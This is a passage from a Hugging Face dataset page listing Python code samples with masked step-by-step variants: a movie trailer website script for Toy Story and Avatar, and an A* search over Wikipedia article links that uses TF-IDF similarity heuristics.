ChenWu98/stack-v2-python-flexible-orders · Datasets at Hugging Face

code stringlengths 13 6.09M	order_type stringclasses 2 values	original_example dict	step_ids listlengths 1 5
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> fresh_tomatoes.open_movies_page(movies) <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> toy_story = media.Movie('Toy Story', 'A story of a boy and his toys that come to life', '<p><a href="https://en.wikipedia.org/wiki/File:Toy_Story.jpg#/media/File:Toy_Story.jpg"><img src="https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg" alt="The poster features Woody anxiously holding onto Buzz Lightyear as he flies in Andy\'s room. Below them sitting on the bed are Bo Peep, Mr. Potato Head, Troll, Hamm, Slinky, Sarge and Rex. In the lower right center of the image is the film\'s title. The background shows the cloud wallpaper featured in the bedroom."></a><br>By From <a rel="nofollow" class="external text" href="http://www.impawards.com/1995/toy_story_ver1.html">impawards</a>., <a href="https://en.wikipedia.org/w/index.php?curid=26009601">Link</a></p>' , 'https://youtu.be/KYz2wyBy3kc') avatar = media.Movie('Avatar', 'A marine on an alien planet', '<p><a href="https://en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg#/media/File:Avatar-Teaser-Poster.jpg"><img src="https://upload.wikimedia.org/wikipedia/en/b/b0/Avatar-Teaser-Poster.jpg" alt="Avatar-Teaser-Poster.jpg"></a><br>By Source, <a href="//en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg" title="Fair use of copyrighted material in the context of Avatar (2009 film)">Fair use</a>, <a href="https://en.wikipedia.org/w/index.php?curid=23732044">Link</a></p>' , 'https://youtu.be/5PSNL1qE6VY') movies = [toy_story, avatar] fresh_tomatoes.open_movies_page(movies) <\|reserved_special_token_1\|> import media import fresh_tomatoes toy_story = media.Movie('Toy Story', 'A story of a boy and his toys that come to life', '<p><a href="https://en.wikipedia.org/wiki/File:Toy_Story.jpg#/media/File:Toy_Story.jpg"><img src="https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg" alt="The poster features Woody anxiously holding onto Buzz Lightyear as he flies in Andy\'s room. Below them sitting on the bed are Bo Peep, Mr. Potato Head, Troll, Hamm, Slinky, Sarge and Rex. In the lower right center of the image is the film\'s title. The background shows the cloud wallpaper featured in the bedroom."></a><br>By From <a rel="nofollow" class="external text" href="http://www.impawards.com/1995/toy_story_ver1.html">impawards</a>., <a href="https://en.wikipedia.org/w/index.php?curid=26009601">Link</a></p>' , 'https://youtu.be/KYz2wyBy3kc') avatar = media.Movie('Avatar', 'A marine on an alien planet', '<p><a href="https://en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg#/media/File:Avatar-Teaser-Poster.jpg"><img src="https://upload.wikimedia.org/wikipedia/en/b/b0/Avatar-Teaser-Poster.jpg" alt="Avatar-Teaser-Poster.jpg"></a><br>By Source, <a href="//en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg" title="Fair use of copyrighted material in the context of Avatar (2009 film)">Fair use</a>, <a href="https://en.wikipedia.org/w/index.php?curid=23732044">Link</a></p>' , 'https://youtu.be/5PSNL1qE6VY') movies = [toy_story, avatar] fresh_tomatoes.open_movies_page(movies) <\|reserved_special_token_1\|> import media import fresh_tomatoes toy_story = media.Movie("Toy Story", "A story of a boy and his toys that come to life", '<p><a href="https://en.wikipedia.org/wiki/File:Toy_Story.jpg#/media/File:Toy_Story.jpg"><img src="https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg" alt="The poster features Woody anxiously holding onto Buzz Lightyear as he flies in Andy\'s room. Below them sitting on the bed are Bo Peep, Mr. Potato Head, Troll, Hamm, Slinky, Sarge and Rex. In the lower right center of the image is the film\'s title. The background shows the cloud wallpaper featured in the bedroom."></a><br>By From <a rel="nofollow" class="external text" href="http://www.impawards.com/1995/toy_story_ver1.html">impawards</a>., <a href="https://en.wikipedia.org/w/index.php?curid=26009601">Link</a></p>', "https://youtu.be/KYz2wyBy3kc") avatar = media.Movie("Avatar", "A marine on an alien planet", '<p><a href="https://en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg#/media/File:Avatar-Teaser-Poster.jpg"><img src="https://upload.wikimedia.org/wikipedia/en/b/b0/Avatar-Teaser-Poster.jpg" alt="Avatar-Teaser-Poster.jpg"></a><br>By Source, <a href="//en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg" title="Fair use of copyrighted material in the context of Avatar (2009 film)">Fair use</a>, <a href="https://en.wikipedia.org/w/index.php?curid=23732044">Link</a></p>', "https://youtu.be/5PSNL1qE6VY") # print(avatar.storyline) # avatar.show_trailer() movies = [toy_story, avatar] fresh_tomatoes.open_movies_page(movies) # print(media.Movie.__doc__) # print(media.Movie.__name__) # print(media.Movie.__module__)	flexible	{ "blob_id": "e2f6e6e872f95471ebbc8b25bde08247fe8f7e61", "index": 8829, "step-1": "<mask token>\n", "step-2": "<mask token>\nfresh_tomatoes.open_movies_page(movies)\n", "step-3": "<mask token>\ntoy_story = media.Movie('Toy Story',\n 'A story of a boy and his toys that come to life',\n '<p><a href=\"https://en.wikipedia.org/wiki/File:Toy_Story.jpg#/media/File:Toy_Story.jpg\"><img src=\"https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg\" alt=\"The poster features Woody anxiously holding onto Buzz Lightyear as he flies in Andy\\'s room. Below them sitting on the bed are Bo Peep, Mr. Potato Head, Troll, Hamm, Slinky, Sarge and Rex. In the lower right center of the image is the film\\'s title. The background shows the cloud wallpaper featured in the bedroom.\"></a><br>By From <a rel=\"nofollow\" class=\"external text\" href=\"http://www.impawards.com/1995/toy_story_ver1.html\">impawards</a>., <a href=\"https://en.wikipedia.org/w/index.php?curid=26009601\">Link</a></p>'\n , 'https://youtu.be/KYz2wyBy3kc')\navatar = media.Movie('Avatar', 'A marine on an alien planet',\n '<p><a href=\"https://en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg#/media/File:Avatar-Teaser-Poster.jpg\"><img src=\"https://upload.wikimedia.org/wikipedia/en/b/b0/Avatar-Teaser-Poster.jpg\" alt=\"Avatar-Teaser-Poster.jpg\"></a><br>By Source, <a href=\"//en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg\" title=\"Fair use of copyrighted material in the context of Avatar (2009 film)\">Fair use</a>, <a href=\"https://en.wikipedia.org/w/index.php?curid=23732044\">Link</a></p>'\n , 'https://youtu.be/5PSNL1qE6VY')\nmovies = [toy_story, avatar]\nfresh_tomatoes.open_movies_page(movies)\n", "step-4": "import media\nimport fresh_tomatoes\ntoy_story = media.Movie('Toy Story',\n 'A story of a boy and his toys that come to life',\n '<p><a href=\"https://en.wikipedia.org/wiki/File:Toy_Story.jpg#/media/File:Toy_Story.jpg\"><img src=\"https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg\" alt=\"The poster features Woody anxiously holding onto Buzz Lightyear as he flies in Andy\\'s room. Below them sitting on the bed are Bo Peep, Mr. Potato Head, Troll, Hamm, Slinky, Sarge and Rex. In the lower right center of the image is the film\\'s title. The background shows the cloud wallpaper featured in the bedroom.\"></a><br>By From <a rel=\"nofollow\" class=\"external text\" href=\"http://www.impawards.com/1995/toy_story_ver1.html\">impawards</a>., <a href=\"https://en.wikipedia.org/w/index.php?curid=26009601\">Link</a></p>'\n , 'https://youtu.be/KYz2wyBy3kc')\navatar = media.Movie('Avatar', 'A marine on an alien planet',\n '<p><a href=\"https://en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg#/media/File:Avatar-Teaser-Poster.jpg\"><img src=\"https://upload.wikimedia.org/wikipedia/en/b/b0/Avatar-Teaser-Poster.jpg\" alt=\"Avatar-Teaser-Poster.jpg\"></a><br>By Source, <a href=\"//en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg\" title=\"Fair use of copyrighted material in the context of Avatar (2009 film)\">Fair use</a>, <a href=\"https://en.wikipedia.org/w/index.php?curid=23732044\">Link</a></p>'\n , 'https://youtu.be/5PSNL1qE6VY')\nmovies = [toy_story, avatar]\nfresh_tomatoes.open_movies_page(movies)\n", "step-5": "import media\nimport fresh_tomatoes\n\ntoy_story = media.Movie(\"Toy Story\",\n \"A story of a boy and his toys that come to life\",\n '<p><a href=\"https://en.wikipedia.org/wiki/File:Toy_Story.jpg#/media/File:Toy_Story.jpg\"><img src=\"https://upload.wikimedia.org/wikipedia/en/1/13/Toy_Story.jpg\" alt=\"The poster features Woody anxiously holding onto Buzz Lightyear as he flies in Andy\\'s room. Below them sitting on the bed are Bo Peep, Mr. Potato Head, Troll, Hamm, Slinky, Sarge and Rex. In the lower right center of the image is the film\\'s title. The background shows the cloud wallpaper featured in the bedroom.\"></a><br>By From <a rel=\"nofollow\" class=\"external text\" href=\"http://www.impawards.com/1995/toy_story_ver1.html\">impawards</a>., <a href=\"https://en.wikipedia.org/w/index.php?curid=26009601\">Link</a></p>',\n \"https://youtu.be/KYz2wyBy3kc\")\n\navatar = media.Movie(\"Avatar\",\n \"A marine on an alien planet\",\n '<p><a href=\"https://en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg#/media/File:Avatar-Teaser-Poster.jpg\"><img src=\"https://upload.wikimedia.org/wikipedia/en/b/b0/Avatar-Teaser-Poster.jpg\" alt=\"Avatar-Teaser-Poster.jpg\"></a><br>By Source, <a href=\"//en.wikipedia.org/wiki/File:Avatar-Teaser-Poster.jpg\" title=\"Fair use of copyrighted material in the context of Avatar (2009 film)\">Fair use</a>, <a href=\"https://en.wikipedia.org/w/index.php?curid=23732044\">Link</a></p>',\n \"https://youtu.be/5PSNL1qE6VY\")\n\n# print(avatar.storyline)\n# avatar.show_trailer()\nmovies = [toy_story, avatar]\nfresh_tomatoes.open_movies_page(movies)\n# print(media.Movie.__doc__)\n# print(media.Movie.__name__)\n# print(media.Movie.__module__)\n", "step-ids": [ 0, 1, 2, 3, 4 ] }	[ 0, 1, 2, 3, 4 ]
from __future__ import annotations import typing import requests import heapq from sklearn.metrics.pairwise import cosine_similarity from sklearn.feature_extraction.text import TfidfVectorizer from bs4 import BeautifulSoup from wikiAPI import get_JSON, get_intro, compare_titles from typing import List, Type, Callable def heuristic_0(a: str, b: str) -> float: return 2 def heuristic_1(a: str, b: str) -> float: """ Returns predicted cost (distance) from two titles a to b, through the cosine similarity of two generated term-document matrices of the article. The heuristic in this case is purely semantic. The HTML enriched query for the JSON is: https://en.wikipedia.org/w/api.php?action=parse&page=TITLE&prop=text&formatversion=2&format=json """ query = "https://en.wikipedia.org/w/api.php?action=parse&page=TEMP&prop=text&formatversion=2&format=json" startTitle = (a.replace(" ", "%20")).replace("&", "%26") endTitle = (b.replace(" ", "%20")).replace("&", "%26") startURL = (query.replace("TEMP", startTitle)) endURL = (query.replace("TEMP", endTitle)) # text processing using SOUP initialSoup = BeautifulSoup(get_JSON(startURL)['parse']['text'], 'html.parser') finalSoup = BeautifulSoup(get_JSON(endURL)['parse']['text'], 'html.parser') # generate term-document matrices corpus = [initialSoup.get_text().replace('\n', ' '), finalSoup.get_text().replace('\n', ' ')] vect = TfidfVectorizer() mat = vect.fit_transform(corpus) # return cosine similarity return abs(1 - cosine_similarity(mat[0:1], mat)[0][1]) * 2 def heuristic_2(a: str, b: str) -> float: """ Returns predicted cost (distance) from two titles a to b, through the cosine similarity of two generated term-document matrices of the article. The heuristic in this case is purely semantic. The HTML enriched query for the JSON is: https://en.wikipedia.org/w/api.php?action=query&titles=TITLE&prop=extracts&format=json&exintro=1 """ # generate term-document matrices if get_intro(a) == "" or get_intro(b) == "": return 2 else: corpus = [get_intro(a), get_intro(b)] vect = TfidfVectorizer() mat = vect.fit_transform(corpus) # return cosine similarity return abs(1 - cosine_similarity(mat[0:1], mat)[0][1]) * 2 # def semantic_similarity(a: str, b: str) -> float: # web_model = WebBertSimilarity(device='cpu', batch_size=10) # return web_model.predict([(a, b)]) class Article: """ This is the article class that represents each Wikipedia article. Instance Variables: - title: str that represents the title of the article - target: the final target given by the user - g: - f: """ title: str target: str g: float f: float parent: typing.Union[Article, Type(None)] heuristic: Callable[[str, str], float] def __init__(self, title: str, target: str, parent: typing.Union[Article, Type(None)], heuristic: Callable[[str, str], float] ): """ Initializes based on [urls/titles/nodes] """ self.title = title self.target = target self.heuristic = heuristic if parent: self.parent = parent self.g = parent.g + 1 else: self.parent = None self.g = 0 h = self.heuristic(title, target) self.f = self.g + h def get_children(self, cont: typing.Union[str, Type(None)]) -> List[str]: """ Return list of connected (children) article object using the wikipedia API functions. """ s = requests.Session() url = "https://en.wikipedia.org/w/api.php" if cont is None: params = { "action": "query", "format": "json", "titles": self.title, "prop": "links", "pllimit": "max" } else: params = { "action": "query", "format": "json", "titles": self.title, "prop": "links", "pllimit": "max", "plcontinue": cont } titles_so_far = [] r = s.get(url=url, params=params) data = r.json() pages = data["query"]["pages"] for k, v in pages.items(): if "links" not in v: return [] for l in v["links"]: titles_so_far.append(l["title"]) if "batchcomplete" in data: return titles_so_far else: contHolder = data["continue"]["plcontinue"] titles_so_far.extend(self.get_children(contHolder)) return titles_so_far # return [Article(child, self.target, self.title) for child in titles_so_far] def get_first_x(self, lst: List, x: int) -> List: lst_so_far = [] for i in range(x): lst_so_far.append(lst[i]) return lst_so_far def __lt__(self, other): return self.f < other.f def __le__(self, other): return self.f <= other.f def __eq__(self, other): return compare_titles(self.title, other.title) def __ne__(self, other): return not compare_titles(self.title, other.title) def __gt__(self, other): return self.f > other.f def __ge__(self, other): return self.f >= other.f class PQ: """ MinHeap implementation of a priority queue for A* search. """ heap = [] def __init__(self): self.heap = [] def insert(self, to_insert: Article) -> None: """ Insert new element in Priority queue """ heapq.heappush(self.heap, to_insert) def pop(self) -> Article: """ pops minimum element from priority queue """ return heapq.heappop(self.heap) def a_star(source: str, target: str, heuristic: Callable[[str, str], float]) -> list: """ Returns path from source to target using A* search algorithm. """ visited: set = set((source)) cur: Article = Article(source, target, None, heuristic) queue = PQ() while not compare_titles(cur.title, target): nexts = cur.get_children(None) for next in nexts: if next not in visited: article = Article(next, target, cur, heuristic) queue.insert(article) visited.add(next) print(article.f, article.title) cur = queue.pop() print("CUR:", cur.f, cur.title) path = [cur.title] while path[0] != source: cur = cur.parent path.insert(0, cur.title) return path # print(a_star("Dog", "Aardwolf", heuristic_2))	normal	{ "blob_id": "1fad591fde707c73bd52aa8518828c8b8be9cd32", "index": 2283, "step-1": "<mask token>\n\n\nclass Article:\n <mask token>\n title: str\n target: str\n g: float\n f: float\n parent: typing.Union[Article, Type(None)]\n heuristic: Callable[[str, str], float]\n\n def __init__(self, title: str, target: str, parent: typing.Union[\n Article, Type(None)], heuristic: Callable[[str, str], float]):\n \"\"\"\n Initializes based on [urls/titles/nodes]\n \"\"\"\n self.title = title\n self.target = target\n self.heuristic = heuristic\n if parent:\n self.parent = parent\n self.g = parent.g + 1\n else:\n self.parent = None\n self.g = 0\n h = self.heuristic(title, target)\n self.f = self.g + h\n\n def get_children(self, cont: typing.Union[str, Type(None)]) ->List[str]:\n \"\"\"\n Return list of connected (children) article object using the wikipedia API functions.\n \"\"\"\n s = requests.Session()\n url = 'https://en.wikipedia.org/w/api.php'\n if cont is None:\n params = {'action': 'query', 'format': 'json', 'titles': self.\n title, 'prop': 'links', 'pllimit': 'max'}\n else:\n params = {'action': 'query', 'format': 'json', 'titles': self.\n title, 'prop': 'links', 'pllimit': 'max', 'plcontinue': cont}\n titles_so_far = []\n r = s.get(url=url, params=params)\n data = r.json()\n pages = data['query']['pages']\n for k, v in pages.items():\n if 'links' not in v:\n return []\n for l in v['links']:\n titles_so_far.append(l['title'])\n if 'batchcomplete' in data:\n return titles_so_far\n else:\n contHolder = data['continue']['plcontinue']\n titles_so_far.extend(self.get_children(contHolder))\n return titles_so_far\n\n def get_first_x(self, lst: List, x: int) ->List:\n lst_so_far = []\n for i in range(x):\n lst_so_far.append(lst[i])\n return lst_so_far\n <mask token>\n <mask token>\n\n def __eq__(self, other):\n return compare_titles(self.title, other.title)\n\n def __ne__(self, other):\n return not compare_titles(self.title, other.title)\n <mask token>\n <mask token>\n\n\nclass PQ:\n \"\"\"\n MinHeap implementation of a priority queue for A* search.\n \"\"\"\n heap = []\n\n def __init__(self):\n self.heap = []\n\n def insert(self, to_insert: Article) ->None:\n \"\"\"\n Insert new element in Priority queue\n \"\"\"\n heapq.heappush(self.heap, to_insert)\n\n def pop(self) ->Article:\n \"\"\"\n pops minimum element from priority queue\n \"\"\"\n return heapq.heappop(self.heap)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\nclass Article:\n <mask token>\n title: str\n target: str\n g: float\n f: float\n parent: typing.Union[Article, Type(None)]\n heuristic: Callable[[str, str], float]\n\n def __init__(self, title: str, target: str, parent: typing.Union[\n Article, Type(None)], heuristic: Callable[[str, str], float]):\n \"\"\"\n Initializes based on [urls/titles/nodes]\n \"\"\"\n self.title = title\n self.target = target\n self.heuristic = heuristic\n if parent:\n self.parent = parent\n self.g = parent.g + 1\n else:\n self.parent = None\n self.g = 0\n h = self.heuristic(title, target)\n self.f = self.g + h\n\n def get_children(self, cont: typing.Union[str, Type(None)]) ->List[str]:\n \"\"\"\n Return list of connected (children) article object using the wikipedia API functions.\n \"\"\"\n s = requests.Session()\n url = 'https://en.wikipedia.org/w/api.php'\n if cont is None:\n params = {'action': 'query', 'format': 'json', 'titles': self.\n title, 'prop': 'links', 'pllimit': 'max'}\n else:\n params = {'action': 'query', 'format': 'json', 'titles': self.\n title, 'prop': 'links', 'pllimit': 'max', 'plcontinue': cont}\n titles_so_far = []\n r = s.get(url=url, params=params)\n data = r.json()\n pages = data['query']['pages']\n for k, v in pages.items():\n if 'links' not in v:\n return []\n for l in v['links']:\n titles_so_far.append(l['title'])\n if 'batchcomplete' in data:\n return titles_so_far\n else:\n contHolder = data['continue']['plcontinue']\n titles_so_far.extend(self.get_children(contHolder))\n return titles_so_far\n\n def get_first_x(self, lst: List, x: int) ->List:\n lst_so_far = []\n for i in range(x):\n lst_so_far.append(lst[i])\n return lst_so_far\n\n def __lt__(self, other):\n return self.f < other.f\n\n def __le__(self, other):\n return self.f <= other.f\n\n def __eq__(self, other):\n return compare_titles(self.title, other.title)\n\n def __ne__(self, other):\n return not compare_titles(self.title, other.title)\n <mask token>\n\n def __ge__(self, other):\n return self.f >= other.f\n\n\nclass PQ:\n \"\"\"\n MinHeap implementation of a priority queue for A* search.\n \"\"\"\n heap = []\n\n def __init__(self):\n self.heap = []\n\n def insert(self, to_insert: Article) ->None:\n \"\"\"\n Insert new element in Priority queue\n \"\"\"\n heapq.heappush(self.heap, to_insert)\n\n def pop(self) ->Article:\n \"\"\"\n pops minimum element from priority queue\n \"\"\"\n return heapq.heappop(self.heap)\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\nclass Article:\n \"\"\"\n This is the article class that represents each Wikipedia article.\n\n Instance Variables:\n - title: str that represents the title of the article\n - target: the final target given by the user\n - g:\n - f:\n \"\"\"\n title: str\n target: str\n g: float\n f: float\n parent: typing.Union[Article, Type(None)]\n heuristic: Callable[[str, str], float]\n\n def __init__(self, title: str, target: str, parent: typing.Union[\n Article, Type(None)], heuristic: Callable[[str, str], float]):\n \"\"\"\n Initializes based on [urls/titles/nodes]\n \"\"\"\n self.title = title\n self.target = target\n self.heuristic = heuristic\n if parent:\n self.parent = parent\n self.g = parent.g + 1\n else:\n self.parent = None\n self.g = 0\n h = self.heuristic(title, target)\n self.f = self.g + h\n\n def get_children(self, cont: typing.Union[str, Type(None)]) ->List[str]:\n \"\"\"\n Return list of connected (children) article object using the wikipedia API functions.\n \"\"\"\n s = requests.Session()\n url = 'https://en.wikipedia.org/w/api.php'\n if cont is None:\n params = {'action': 'query', 'format': 'json', 'titles': self.\n title, 'prop': 'links', 'pllimit': 'max'}\n else:\n params = {'action': 'query', 'format': 'json', 'titles': self.\n title, 'prop': 'links', 'pllimit': 'max', 'plcontinue': cont}\n titles_so_far = []\n r = s.get(url=url, params=params)\n data = r.json()\n pages = data['query']['pages']\n for k, v in pages.items():\n if 'links' not in v:\n return []\n for l in v['links']:\n titles_so_far.append(l['title'])\n if 'batchcomplete' in data:\n return titles_so_far\n else:\n contHolder = data['continue']['plcontinue']\n titles_so_far.extend(self.get_children(contHolder))\n return titles_so_far\n\n def get_first_x(self, lst: List, x: int) ->List:\n lst_so_far = []\n for i in range(x):\n lst_so_far.append(lst[i])\n return lst_so_far\n\n def __lt__(self, other):\n return self.f < other.f\n\n def __le__(self, other):\n return self.f <= other.f\n\n def __eq__(self, other):\n return compare_titles(self.title, other.title)\n\n def __ne__(self, other):\n return not compare_titles(self.title, other.title)\n\n def __gt__(self, other):\n return self.f > other.f\n\n def __ge__(self, other):\n return self.f >= other.f\n\n\nclass PQ:\n \"\"\"\n MinHeap implementation of a priority queue for A* search.\n \"\"\"\n heap = []\n\n def __init__(self):\n self.heap = []\n\n def insert(self, to_insert: Article) ->None:\n \"\"\"\n Insert new element in Priority queue\n \"\"\"\n heapq.heappush(self.heap, to_insert)\n\n def pop(self) ->Article:\n \"\"\"\n pops minimum element from priority queue\n \"\"\"\n return heapq.heappop(self.heap)\n\n\n<mask token>\n", "step-4": "<mask token>\n\n\ndef heuristic_2(a: str, b: str) ->float:\n \"\"\"\n Returns predicted cost (distance) from two titles a to b, through the cosine similarity of two generated\n term-document matrices of the article. The heuristic in this case is purely semantic.\n\n The HTML enriched query for the JSON is:\n https://en.wikipedia.org/w/api.php?action=query&titles=TITLE&prop=extracts&format=json&exintro=1\n \"\"\"\n if get_intro(a) == '' or get_intro(b) == '':\n return 2\n else:\n corpus = [get_intro(a), get_intro(b)]\n vect = TfidfVectorizer()\n mat = vect.fit_transform(corpus)\n return abs(1 - cosine_similarity(mat[0:1], mat)[0][1]) * 2\n\n\nclass Article:\n \"\"\"\n This is the article class that represents each Wikipedia article.\n\n Instance Variables:\n - title: str that represents the title of the article\n - target: the final target given by the user\n - g:\n - f:\n \"\"\"\n title: str\n target: str\n g: float\n f: float\n parent: typing.Union[Article, Type(None)]\n heuristic: Callable[[str, str], float]\n\n def __init__(self, title: str, target: str, parent: typing.Union[\n Article, Type(None)], heuristic: Callable[[str, str], float]):\n \"\"\"\n Initializes based on [urls/titles/nodes]\n \"\"\"\n self.title = title\n self.target = target\n self.heuristic = heuristic\n if parent:\n self.parent = parent\n self.g = parent.g + 1\n else:\n self.parent = None\n self.g = 0\n h = self.heuristic(title, target)\n self.f = self.g + h\n\n def get_children(self, cont: typing.Union[str, Type(None)]) ->List[str]:\n \"\"\"\n Return list of connected (children) article object using the wikipedia API functions.\n \"\"\"\n s = requests.Session()\n url = 'https://en.wikipedia.org/w/api.php'\n if cont is None:\n params = {'action': 'query', 'format': 'json', 'titles': self.\n title, 'prop': 'links', 'pllimit': 'max'}\n else:\n params = {'action': 'query', 'format': 'json', 'titles': self.\n title, 'prop': 'links', 'pllimit': 'max', 'plcontinue': cont}\n titles_so_far = []\n r = s.get(url=url, params=params)\n data = r.json()\n pages = data['query']['pages']\n for k, v in pages.items():\n if 'links' not in v:\n return []\n for l in v['links']:\n titles_so_far.append(l['title'])\n if 'batchcomplete' in data:\n return titles_so_far\n else:\n contHolder = data['continue']['plcontinue']\n titles_so_far.extend(self.get_children(contHolder))\n return titles_so_far\n\n def get_first_x(self, lst: List, x: int) ->List:\n lst_so_far = []\n for i in range(x):\n lst_so_far.append(lst[i])\n return lst_so_far\n\n def __lt__(self, other):\n return self.f < other.f\n\n def __le__(self, other):\n return self.f <= other.f\n\n def __eq__(self, other):\n return compare_titles(self.title, other.title)\n\n def __ne__(self, other):\n return not compare_titles(self.title, other.title)\n\n def __gt__(self, other):\n return self.f > other.f\n\n def __ge__(self, other):\n return self.f >= other.f\n\n\nclass PQ:\n \"\"\"\n MinHeap implementation of a priority queue for A* search.\n \"\"\"\n heap = []\n\n def __init__(self):\n self.heap = []\n\n def insert(self, to_insert: Article) ->None:\n \"\"\"\n Insert new element in Priority queue\n \"\"\"\n heapq.heappush(self.heap, to_insert)\n\n def pop(self) ->Article:\n \"\"\"\n pops minimum element from priority queue\n \"\"\"\n return heapq.heappop(self.heap)\n\n\n<mask token>\n", "step-5": "from __future__ import annotations\nimport typing\nimport requests\nimport heapq\nfrom sklearn.metrics.pairwise import cosine_similarity\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom bs4 import BeautifulSoup\nfrom wikiAPI import get_JSON, get_intro, compare_titles\nfrom typing import List, Type, Callable\n\n\ndef heuristic_0(a: str, b: str) -> float:\n return 2\n\n\ndef heuristic_1(a: str, b: str) -> float:\n \"\"\"\n Returns predicted cost (distance) from two titles a to b, through the cosine similarity of two generated\n term-document matrices of the article. The heuristic in this case is purely semantic.\n\n The HTML enriched query for the JSON is:\n https://en.wikipedia.org/w/api.php?action=parse&page=TITLE&prop=text&formatversion=2&format=json\n \"\"\"\n query = \"https://en.wikipedia.org/w/api.php?action=parse&page=TEMP&prop=text&formatversion=2&format=json\"\n startTitle = (a.replace(\" \", \"%20\")).replace(\"&\", \"%26\")\n endTitle = (b.replace(\" \", \"%20\")).replace(\"&\", \"%26\")\n startURL = (query.replace(\"TEMP\", startTitle))\n endURL = (query.replace(\"TEMP\", endTitle))\n # text processing using SOUP\n initialSoup = BeautifulSoup(get_JSON(startURL)['parse']['text'], 'html.parser')\n finalSoup = BeautifulSoup(get_JSON(endURL)['parse']['text'], 'html.parser')\n # generate term-document matrices\n corpus = [initialSoup.get_text().replace('\\n', ' '), finalSoup.get_text().replace('\\n', ' ')]\n vect = TfidfVectorizer()\n mat = vect.fit_transform(corpus)\n # return cosine similarity\n return abs(1 - cosine_similarity(mat[0:1], mat)[0][1]) * 2\n\n\ndef heuristic_2(a: str, b: str) -> float:\n \"\"\"\n Returns predicted cost (distance) from two titles a to b, through the cosine similarity of two generated\n term-document matrices of the article. The heuristic in this case is purely semantic.\n\n The HTML enriched query for the JSON is:\n https://en.wikipedia.org/w/api.php?action=query&titles=TITLE&prop=extracts&format=json&exintro=1\n \"\"\"\n # generate term-document matrices\n if get_intro(a) == \"\" or get_intro(b) == \"\":\n return 2\n else:\n corpus = [get_intro(a), get_intro(b)]\n vect = TfidfVectorizer()\n mat = vect.fit_transform(corpus)\n # return cosine similarity\n return abs(1 - cosine_similarity(mat[0:1], mat)[0][1]) * 2\n\n\n# def semantic_similarity(a: str, b: str) -> float:\n # web_model = WebBertSimilarity(device='cpu', batch_size=10)\n # return web_model.predict([(a, b)])\n\n\nclass Article:\n \"\"\"\n This is the article class that represents each Wikipedia article.\n\n Instance Variables:\n - title: str that represents the title of the article\n - target: the final target given by the user\n - g:\n - f:\n \"\"\"\n title: str\n target: str\n g: float\n f: float\n parent: typing.Union[Article, Type(None)]\n heuristic: Callable[[str, str], float]\n\n def __init__(self, title: str, target: str, parent: typing.Union[Article, Type(None)], heuristic: Callable[[str, str], float] ):\n \"\"\"\n Initializes based on [urls/titles/nodes]\n \"\"\"\n self.title = title\n self.target = target\n self.heuristic = heuristic\n\n if parent:\n self.parent = parent\n self.g = parent.g + 1\n else:\n self.parent = None\n self.g = 0\n\n h = self.heuristic(title, target)\n self.f = self.g + h\n\n def get_children(self, cont: typing.Union[str, Type(None)]) -> List[str]:\n \"\"\"\n Return list of connected (children) article object using the wikipedia API functions.\n \"\"\"\n s = requests.Session()\n\n url = \"https://en.wikipedia.org/w/api.php\"\n\n if cont is None:\n params = {\n \"action\": \"query\",\n \"format\": \"json\",\n \"titles\": self.title,\n \"prop\": \"links\",\n \"pllimit\": \"max\"\n }\n else:\n params = {\n \"action\": \"query\",\n \"format\": \"json\",\n \"titles\": self.title,\n \"prop\": \"links\",\n \"pllimit\": \"max\",\n \"plcontinue\": cont\n }\n\n titles_so_far = []\n\n r = s.get(url=url, params=params)\n data = r.json()\n\n pages = data[\"query\"][\"pages\"]\n\n for k, v in pages.items():\n if \"links\" not in v:\n return []\n\n for l in v[\"links\"]:\n titles_so_far.append(l[\"title\"])\n\n if \"batchcomplete\" in data:\n return titles_so_far\n else:\n contHolder = data[\"continue\"][\"plcontinue\"]\n titles_so_far.extend(self.get_children(contHolder))\n return titles_so_far\n\n # return [Article(child, self.target, self.title) for child in titles_so_far]\n\n def get_first_x(self, lst: List, x: int) -> List:\n lst_so_far = []\n\n for i in range(x):\n lst_so_far.append(lst[i])\n\n return lst_so_far\n\n def __lt__(self, other):\n return self.f < other.f\n\n def __le__(self, other):\n return self.f <= other.f\n\n def __eq__(self, other):\n return compare_titles(self.title, other.title)\n\n def __ne__(self, other):\n return not compare_titles(self.title, other.title)\n\n def __gt__(self, other):\n return self.f > other.f\n\n def __ge__(self, other):\n return self.f >= other.f\n\nclass PQ:\n \"\"\"\n MinHeap implementation of a priority queue for A* search.\n \"\"\"\n heap = []\n\n def __init__(self):\n self.heap = []\n\n def insert(self, to_insert: Article) -> None:\n \"\"\"\n Insert new element in Priority queue\n \"\"\"\n heapq.heappush(self.heap, to_insert)\n\n def pop(self) -> Article:\n \"\"\"\n pops minimum element from priority queue\n \"\"\"\n return heapq.heappop(self.heap)\n\n\ndef a_star(source: str, target: str, heuristic: Callable[[str, str], float]) -> list:\n \"\"\"\n Returns path from source to target using A* search algorithm.\n \"\"\"\n visited: set = set((source))\n cur: Article = Article(source, target, None, heuristic)\n queue = PQ()\n\n while not compare_titles(cur.title, target):\n nexts = cur.get_children(None)\n for next in nexts:\n if next not in visited:\n article = Article(next, target, cur, heuristic)\n queue.insert(article)\n visited.add(next)\n print(article.f, article.title)\n cur = queue.pop()\n print(\"CUR:\", cur.f, cur.title)\n\n path = [cur.title]\n\n while path[0] != source:\n cur = cur.parent\n path.insert(0, cur.title)\n\n return path\n\n# print(a_star(\"Dog\", 